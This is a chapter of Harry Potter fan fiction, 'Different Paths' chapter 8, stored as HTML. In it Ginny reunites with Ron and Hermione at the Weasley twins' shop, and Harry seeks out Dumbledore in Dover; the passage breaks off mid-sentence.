	(33, 8, '\n\n\n\n<p><b>Title:</b> Different Paths (08)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.&nbsp; H/H and D/G.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, and other publishers. No money is being made and no\ncopyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> This is one of the chapters I&#8217;ve wanted to write ever since\nI started this fic.&nbsp; We&#8217;re moving more\nand more into action-oriented chapters and this chapter is a bit of a prelude\nto more.&nbsp; Furthermore, it&#8217;s the chapter\nwhere Ron and Hermione once again take central stage and they&#8217;re not going to\ndisappear for extended periods of time again.&nbsp;\nSo please enjoy this chapter.&nbsp;\nOh, and someone please remind me to keep count of the Fundamental rules\nof wizard dueling because I&#8217;m going to introduce more rules as I progress.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 8: Many Reunions</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What do you mean you&#8217;re\nleaving?!&#8221; Ginny Weasley&#8217;s voice thundered through the Leaky Cauldron.&nbsp; It was the day after the entire incident\nwith the Ollivanders.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry tried to explain\npatiently.&nbsp; &#8220;I feel like it&#8217;s necessary\nfor me to lie low for a while.&nbsp; That\nDeath Eater, Chucky, said that his primary mission was to spy on me while I was\nhere.&nbsp; He&#8217;s in custody now but I still\nwant to disappear before Voldemort has a chance to send another one of his\nagents to spy on me.&nbsp; Otherwise, they&#8217;re\ngoing to target anybody I come in close contact with.&nbsp; If possible, I would like to avoid any more situations like we\nencountered with the Ollivanders.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s codswallop!&#8221; said\nHagrid.&nbsp; &#8220;Yeh&#8217;re getting&#8217; all high and\nnoble again.&nbsp; You&#8217;ve done it before,\nthinkin&#8217; that yeh&#8217;re fighting a personal war agains&#8217; You-Know-Who,&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know it&#8217;s not a personal\nwar!&#8221; shouted Harry.&nbsp; &#8220;But I still can&#8217;t\nhelp but feel responsible if the Death Eaters attack innocent civilians\nagain.&nbsp; I&#8217;m sorry but nothing you say is\ngoing to stop me.&nbsp; But I&#8217;m not leaving,\nonly laying low for a while, until Remus does a certain favor for me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, and what favor is tha&#8217;?&#8221;\nasked Hagrid.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s searching for someone for\nme,&#8221; said Harry.&nbsp; &#8220;I&#8217;m leaving Hedwig\nhere for now.&nbsp; Remus is going to use her\nto contact me when he finds the person I&#8217;m looking for.&nbsp; Until then, I&#8217;m going to be alone so I can\nthink things over.&#8221;&nbsp; Before he could\nmove however, a tawny owl flew through a window and crashed into Harry.&nbsp; Harry was knocked off his feet as the owl\nlanded on Hagrid&#8217;s arm.&nbsp; &#8220;Owe,&#8221; said\nHarry.</p>\n\n<p>&nbsp;</p>\n\n<p>Hagrid had just finished reading\nthe letter delivered by the owl.&nbsp; &#8220;Guess\nwha&#8217;,&#8221; he said.&nbsp; &#8220;Members of the Order\nof the Phoenix are all ready ta come down here fer battle.&nbsp; They&#8217;re available any time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s good, but lets hope we\nwon&#8217;t have to use them,&#8221; said Harry.&nbsp; He\nwrapped his invisibility cloak around himself and disappeared.&nbsp; Ginny wasn&#8217;t finished.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If this all about the fact that\nyou&#8217;re still worried that you&#8217;ll turn into another You-Know-Who, then you have\nnothing to worry about!&#8221; she shouted.&nbsp;\n&#8220;If anything your duel with that Death Eater yesterday proved to us all\nthat you&#8217;re not another dark wizard in training!&nbsp; You are not a danger to us!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know,&#8221; said Harry&#8217;s\ndisembodied voice, &#8220;and I intend to keep it that way.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well if you know that why are\nyou leaving?&#8221; Ginny demanded.&nbsp; But by\nthen, Harry was gone.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Three days later, Ginny was\nstill in a bad mood.&nbsp; &#8220;Damn Potter!&nbsp; Damn Potter!&nbsp; Getting all high and noble,&#8221; she muttered as she rolled around on\nher bed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny?&#8221; asked Remus as he poked\ninto her room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sod off, Remus,&#8221; Ginny said\nheatedly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now that&#8217;s not a nice thing to\nsay to your mentor,&#8221; said Remus.&nbsp;\n&#8220;You&#8217;ve been moping in here for three days now.&nbsp; Harry hasn&#8217;t left; he&#8217;s just lying low.&nbsp; You should get some fresh air.&nbsp; Go outside for a change.&nbsp; Eat out.&nbsp;\nGo visit your brothers.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Fine,&#8221; grumbled Ginny.&nbsp; &#8220;I&#8217;m going to visit Fred and George.&nbsp; If you have Yorkshire pudding tonight, save\nsome for me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Across Diagon Alley, an\ninteresting argument was taking place.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What the bloody hell is this!&#8221;\nRon Wealsey yelled.&nbsp; The &#8220;this&#8221; he was\nreferring to, was the frilly apron he was wearing and the blue ribbon tied in\nhis hair.</p>\n\n<p>&nbsp;</p>\n\n<p>Fred and George Weasley, the\nowners of Weasley Wizard Wheezes Joke Store laughed out loud. &nbsp;&#8220;That, little brother is the new uniform for\nemployees of WWW,&#8221; said Fred.&nbsp; George\ncouldn&#8217;t help snickering.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Get me out of it!&#8221; hissed Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, now, Ronniekins,&#8221; said\nGeorge.&nbsp; &#8220;We&#8217;re letting you and Hermione\nstay here for free.&nbsp; In exchange, you&#8217;re\nour employees until further notice.&nbsp;\nThat was the agreement Ron.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Besides, you don&#8217;t see Hermione\ncomplaining,&#8221; said Fred.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She&#8217;s a girl.&nbsp; She&#8217;s meant to look good in this...\n&#8216;thing&#8217;,&#8221; hissed Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh come on Ron,&#8221; said Hermione\nlooking attractive in her apron and ribbon, &#8220;I think you look cute in that\napron and ribbon.&nbsp; And I&#8217;m sure Maggie\nwould like seeing you in it as well.&#8221;&nbsp;\nRon couldn&#8217;t help but blush at that final comment.&nbsp; Margaret Chapel, or Maggie to her friends\nwas Ron&#8217;s current girlfriend.&nbsp; She was\nan American Muggle-born witch, about a year older than Ron with long wavy\nauburn hair and hazel eyes.&nbsp; She worked\nat the Three Broomsticks where she had first met Ron during one of the\nHogsmeade visits and the two had instantly fallen in love.&nbsp; In fact, Ron was firmly convinced that she\nwas the one for him.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron grumbled.&nbsp; &#8220;You just introduced these uniforms because\nI was going to work here, didn&#8217;t you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh come on Ron, how could you\nsay that about us?&#8221; said George.&nbsp; He and\nFred couldn&#8217;t hide the guilty grins that emerged on their faces however.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I still don&#8217;t understand why we\nhave to do this,&#8221; Ron grumbled as he and Hermione went down to the store.&nbsp; &#8220;Why aren&#8217;t we out there looking for Harry?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione rolled her eyes.&nbsp; &#8220;I&#8217;ve already explained this to you\nRon.&nbsp; We&#8217;ll make more progress finding\nhim if we stay in one place gathering information rather than going out looking\nfor him.&nbsp; Knowing Harry, he&#8217;s probably\nhiding from the public eye so we&#8217;ll never find him if we go out looking for\nhim.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I still prefer that rather than\nwaiting around dressed like a girl.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m not even going to bother\narguing with you.&nbsp; Come on Ron.&nbsp; You go greet the guests.&nbsp; I&#8217;ll go back and pick up a few boxes for\nstock,&#8221; said Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Fine,&#8221; grumbled Ron.&nbsp; He made his way over to the entrance just as\nGinny Weasley entered.&nbsp; &#8220;Welcome to\nWeasley Wizard Wheezes.&nbsp; How may I help\nyou?&#8221; grumbled Ron, without even realizing who it was who had just entered the\nstore.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sod off Ron,&#8221; Ginny said\nautomatically without even realizing that it was indeed Ron she was speaking\nto.&nbsp; She walked past him and started\nbrowsing the store.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny?&#8221;&nbsp; Ginny turned around to find another girl\naround her age.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione?&#8221; Ginny&#8217;s bad mood\ninstantly disappeared when she caught sight of her old friend.&nbsp; The two girls squealed and embraced each\nother.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; Ginny?&#8221; said Ron finally realizing whom it was who had just\nentered the store.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh my God Hermione!&#8221; Ginny\nexclaimed.&nbsp; &#8220;What are you doing here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What am I doing here?&nbsp; What are you doing here?&#8221; asked\nHermione.&nbsp; &#8220;I thought you were still at\nBeauxbatons.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I came back a little early,\nlong story,&#8221; said Ginny.&nbsp; &#8220;I&#8217;m so glad\nto see you again.&nbsp; And Ron,&#8221; Ginny\nnoticed her brother for the first time and burst out laughing, &#8220;what is that\nyou&#8217;re wearing?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m going to murder Fred and\nGeorge,&#8221; said Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Weasley Wizard Wheezes had a few\nbooths lined up along the windows where guests were aloud to test the various\nproducts.&nbsp; Ginny and Hermione were soon\nseated at one of these booths facing each other while Ron, Fred, and George\nstood around them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You have no idea how great it&#8217;s\nto see all of you again,&#8221; said Ginny as she sipped her tea.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Same here Ginny,&#8221; said\nHermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m serious,&#8221; said Ginny.&nbsp; &#8220;You have no idea how much of a bad mood I was\nin earlier.&nbsp; I mean I was just with\nHarry and...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry?&nbsp; What about Harry?!&#8221; Hermione exclaimed.&nbsp; She leapt onto the table and grabbed onto\nGinny&#8217;s shoulders.&nbsp; &#8220;What about Harry?&#8221;\nshe said again, her eyes alight with hope.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny was startled by Hermione&#8217;s\nactions.&nbsp; She also noted that Ron was\nsurprised and looking hopeful as well.&nbsp;\n&#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do you know where Harry is?&#8221;\nsaid Hermione, looking even more hopeful.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny chuckled a little\nbitterly.&nbsp; &#8220;I did up till about three\ndays ago.&nbsp; We were staying together at\nthe Leaky Cauldron.&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>As soon as Hermione heard that,\nshe froze in shock and sunk back into her chair.&nbsp; While taking another sip of her tea, Ginny noticed Hermione&#8217;s\nreaction and was about to ask her what was wrong when Fred leaned in with a malicious\ngrin and said, &#8220;Staying together?&nbsp; You\nmean the two of you were staying under the same roof together?&nbsp; Perhaps even, the same room?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny spat her tea out\naccidentally drenching Ron.&nbsp; &#8220;No!&nbsp; Hermione!&nbsp;\nIt&#8217;s nothing like that! Don&#8217;t listen to what Fred&#8217;s saying!&nbsp; Harry and I just met on the road and we were\ntraveling together when...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Traveling together?&#8221; said\nGeorge.&nbsp; &#8220;You mean traveling together\nlike say, a honeymoon?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No!&#8221; Ginny shouted.&nbsp; &#8220;It was nothing like a honeymoon...I mean.\nIt wasn&#8217;t a honeymoon...I mean, we were just traveling together!&nbsp; That&#8217;s all!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So it was just the two of you\non the road, eh?&#8221; said Fred, still grinning.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That git,&#8221; muttered Ron.&nbsp; &#8220;I knew he was popular with the ladies but I\ndidn&#8217;t think he&#8217;d stoop that low.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re not helping Ron!&#8221; yelled\nGinny.&nbsp; &#8220;And what do you mean by stoop\nthat low?&nbsp; I&#8217;ll let it be known that\nHarry enjoyed my company very much!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, so he enjoyed your company\ndid he?&#8221; said George.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny screamed in\nfrustration.&nbsp; &#8220;Oh sod off, all three of\nyou!&nbsp; Hermione, I can explain.&#8221;&nbsp; However, her explanations appeared to be\nfalling on deaf ears as Hermione just sat there as still as a rock.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>A snowy white owl landed in a\ndeserted alley right next to Gringotts Wizarding Bank.&nbsp; She hooted a few times as she looked around\nas if she were searching for someone.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m right here Hedwig,&#8221; said a\ndisembodied voice from right in front of the owl.&nbsp; Harry Potter emerged from underneath his invisibility cloak.&nbsp; Hedwig flew to his shoulder and affectionately\nnipped his ear.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You got something from Remus\nfor me?&#8221; Harry asked.&nbsp; Hedwig stuck her\nleft leg out: it had a letter tied to it.&nbsp;\nHarry took the letter and read it silently.&nbsp; &#8220;Remus has found out where he lives,&#8221; he said to himself.</p>\n\n<p>&nbsp;</p>\n\n<p>A few minutes later, Harry was\nback at the Leaky Cauldron, talking to Remus Lupin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks for this information,&#8221;\nsaid Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He was very difficult to track\ndown,&#8221; said Remus.&nbsp; &#8220;It took a while\njust to trace his whereabouts but I finally found out that he now resides near\nDover.&nbsp; Here&#8217;s his address.&#8221;&nbsp; He handed Harry a small note.&nbsp; Harry packed the note into the pocket of his\ncloak and mounted his Firebolt.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wish me luck,&#8221; he said.&nbsp; He took off into the air and had soon\ndisappeared over the horizon.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good luck,&#8221; muttered Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do I have to spell it out to\nyou, Hermione?&#8221; Ginny exclaimed.&nbsp; &#8220;There\nis nothing between Harry and I!&nbsp; Nothing\nhappened!&nbsp; OK, I admit I used to have a\ncrush on Harry but...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Used to? Don&#8217;t you mean still\ndo?&#8221; said Fred.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Admit it little sister you\nfinally had the chance to act on your crush for Harry didn&#8217;t you?&#8221; said\nGeorge.&nbsp; &#8220;Hmm, we had better not tell\nMum and Dad about this yet.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Definitely not,&#8221; said Fred.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;NO!&nbsp; NO!&nbsp; NO!&nbsp; NO!&nbsp;\nNO!&nbsp; NO!&nbsp; NO!&nbsp;\nNO!&nbsp; And NO!!!&#8221; Ginny screamed\nwhile stamping her foot.&nbsp; <i>&#8216;How the\nbloody hell did this get out of hand?&#8217;</i> she thought, <i>&#8216;It&#8217;s Draco I have a\ncrush on now!&nbsp; It&#8217;s all about Draco for\nme now!&nbsp; I dream of being Ginny Malfoy\nnow not Ginny Potter!&nbsp; It&#8217;s Draco who I\nwant to do all these things Fred and George are describing, not Harry!&nbsp; Harry and I are just friends!&#8217;</i>&nbsp; She took a few calming breaths and said,\n&#8220;Look Hermione.&nbsp; You&#8217;re upset, you&#8217;re in\nshock, but I can explain if only you&#8217;ll listen...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;After parting like that,&#8221;\nHermione whispered in a dangerous tone. Ginny swallowed.&nbsp; &#8220;After leaving me behind in a miserable\nstate, feeling like my world has just ended, this is what I find when I finally\nlocate him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Then, as if the calm before the\nstorm had passed, Hermione leapt out of her chair and screamed, &#8220;I&#8217;ll kill\nhim!&#8221;&nbsp; The Weasleys backed off as\nHermione continued shouting, &#8220;I&#8217;m going to give him exactly what he deserves\nfor leaving me like that!&#8221;&nbsp; She grabbed\nhold of Ginny&#8217;s shoulders and pinned her to the wall.&nbsp; &#8220;All right Virginia Weasley!&nbsp;\nTell me where Harry Potter is right now so I can give him a piece of my\nmind!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny groaned and thought, <i>&#8216;Oh\nno, how in the world did I end up in this misunderstanding?&#8217;</i>&nbsp; Ron on the other hand, was smiling.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;Well what do you know,&#8217;</i> he thought.&nbsp; <i>&#8216;Just a few weeks ago she was lying in bed feeling as if her\nworld had ended.&nbsp; And yet, now she&#8217;s\nback to her old bossy no nonsense self again.&nbsp;\nI can&#8217;t believe I&#8217;m thinking this but it&#8217;s great to see the old Hermione\nagain!&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Just then, a few more guests\nentered the store.&nbsp; As Fred and George\nwent off to serve them, Ginny couldn&#8217;t help but overhear a little of their\nconversation.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Did you see that owl?&#8221; said one\nof the guests.&nbsp; &#8220;Never seen anything\nlike it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah,&#8221; said the other\nguest.&nbsp; &#8220;White as snow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;A snowy white owl?&#8217;</i> Ginny thought.<i> &#8216;Hedwig!&nbsp; Remus sent Hedwig to Harry!&nbsp; That must mean that if we get to the Leaky\nCauldron now, we can see Harry.&#8217;</i>&nbsp;\nWith that thought, Ginny took hold of Hermione&#8217;s shoulder and said,\n&#8220;Hermione, tell me one thing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; said Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m sure that you&#8217;re fully\naware that Harry&#8217;s involved in a war that means everything to us, to him, and\nthat he can&#8217;t back out of it.&nbsp; Right?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course I do.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then tell me Hermione\nGranger.&nbsp; Tell me that your feelings for\nHarry aren&#8217;t just a crush or an infatuation.&nbsp;\nTell me that you truly need Harry and that that is why you came all this\nway to find him again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>For about a minute, two pairs of\nbrown eyes stared into each other.&nbsp;\nFinally, Hermione smiled and said, &#8220;Tell me Ginny.&nbsp; Do you think a girl will come all this way\nfor just a crush or an infatuation?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>With a start, Ginny realized\nthat Hermione had done the same thing she had.&nbsp;\n<i>&#8216;She came all this way for Harry, the same way I came from Draco.&#8217;</i>&nbsp; Ginny smiled and said, &#8220;Come on, I&#8217;ll take\nyou to Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We <i>just</i> missed him?&#8221;\nGinny asked disbelievingly.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus sighed.&nbsp; &#8220;He just left for Dover a few minutes\nago.&nbsp; I&#8217;ve got the address he&#8217;s heading\ntoward if you need it.&nbsp; But why the\nsudden rush to see him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was hoping to reunite Harry\nwith Hermione again,&#8221; said Ginny.&nbsp; It\nwas only then that Remus noticed Ron and Hermione right behind Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione,&#8221; Remus said as he put\nhis hands on her shoulders.&nbsp; &#8220;I&#8217;m sure\nthat you&#8217;re fully aware that Harry&#8217;s involved in a war that means\neverything...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Uh, I already asked her that\nRemus,&#8221; said Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, well in that case, its good\nto see you again Hermione.&nbsp; And you too\nRon.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Er, its good to see you again\nProfessor Lupin,&#8221; said Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please call me Remus.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;OK...Remus.&nbsp; Gee that&#8217;s going to take some time getting\nused to.&nbsp; But we really want to go after\nHarry,&#8221; said Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Take the broomsticks I have in\nthe back of the pub,&#8221; said Remus, &#8220;Nimbus 1000s.&nbsp; Not as fast as Harry&#8217;s Firebolt but they should still get you to\nDover in no time.&nbsp; Here&#8217;s the address,&#8221;\nhe handed Hermione a note with the address written on it, &#8220;Good luck.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Harry had arrived at the address\nRemus had given him in no time.&nbsp; He was\nnow in Dover, and the sun was setting in the horizon.&nbsp; Harry walked down a path that led through a thick wood.&nbsp; He eventually came upon a small cottage; the\nsort of place a hermit would live.&nbsp; In\nfront of the cottage was an old man.&nbsp; He\nwas facing away from Harry, seated in front of a fire he was tending.&nbsp; From behind, he had long silver hair and was\nwearing elegant dark purple robes.&nbsp; He\nappeared to have not noticed Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>Silently, Harry walked up to the\nold man.&nbsp; When he was just behind, Harry\npulled out his wand and said, <i>&#8220;Expelliarmus!&#8221;</i>&nbsp; Just as the red beam was about to hit, the old man leapt high\ninto the air and landed right behind Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I would believe it is rather\nimpolite to suddenly curse a harmless old hermit,&#8221; said the old man.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was unaware that Albus\nDumbledore was a harmless old hermit,&#8221; said Harry still facing away from the\nold man.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, Harry.&nbsp; It is good to see you again,&#8221; said the old\nman.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It is good to see you as well,\nHeadmaster,&#8221; said Harry, finally turning toward his mentor.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The residence of Professor\nAlbus Dumbledore,&#8221; said Ron as he, Hermione, and Ginny trudged up the path\nleading to Dumbledore&#8217;s cottage.&nbsp; &#8220;So\nthis is where he&#8217;s been staying all this time.&nbsp;\nMan, it&#8217;s going to be great seeing him again.&nbsp; But why would Harry come out here seeking him out?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Dark Magic Cleanser,&#8221; said\nHermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The what?&#8221; said Ron and Ginny\nat the same time.&nbsp; Hermione rolled her\neyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Haven&#8217;t you two read Hogwarts:\nA History?&#8221; she said.&nbsp; &#8220;No, sorry.&nbsp; Bad question.&nbsp; Anyway, I&#8217;m sure you&#8217;re both aware that during You-Know-Who&#8217;s\noriginal reign, Dumbledore was the only wizard he feared, right?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course,&#8221; said Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well,&#8221; continued Hermione,\n&#8220;what most people didn&#8217;t know is <i>why</i> You-Know-Who was afraid of\nDumbledore.&nbsp; Rumor has it that\nDumbledore is in possession of a certain spell: an ancient, powerful spell.&nbsp; A spell that was said to be able to purge\nall forms of Dark Magic within a Dark Wizard; in effect, leaving them\npowerless.&nbsp; They say that the spell was\nfirst conceived by Merlin to protect Camelot from the dark forces of Morgan le\nFaye.&nbsp; After that, it was passed on to\nonly one wizard or witch in each generation, usually the number one pupil of\nthe previous possessor.&nbsp; Godric\nGryffindor was said to be one of the wizards to possess the spell.&nbsp; Apparently, Dumbledore is the most recent\npossessor of this spell and that&#8217;s why You-Know-Who feared him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, you&#8217;re telling us that\nHarry has come here to learn this all powerful spell from Dumbledore?&#8221; said Ron\nobviously excited.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh my God!&#8221; squealed\nGinny.&nbsp; &#8220;He&#8217;s so powerful already and\nhe&#8217;s going to become more powerful?&nbsp;\nThat&#8217;s incredible!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s so cool!&#8221; said Ron.&nbsp; &#8220;It&#8217;s like Harry&#8217;s not even human.&nbsp; He&#8217;s beyond human or something like that!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re right!&nbsp; He&#8217;s beyond human!&#8221; said Ginny.&nbsp; &#8220;He&#8217;s like a demon or a demigod or\nsomething!&nbsp; It&#8217;s just incredible!&#8221;&nbsp; While the two Weasleys were getting more and\nmore excited, Hermione smiled wistfully.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And yet, all Harry&#8217;s ever\nwanted was to be normal like everyone else,&#8221; she said rather sadly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; said Ron and Ginny,\ninstantly stopping their murmurs.&nbsp;\nHermione brushed it off.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Never mind,&#8221; she said.&nbsp; &#8220;Come on, let&#8217;s go see 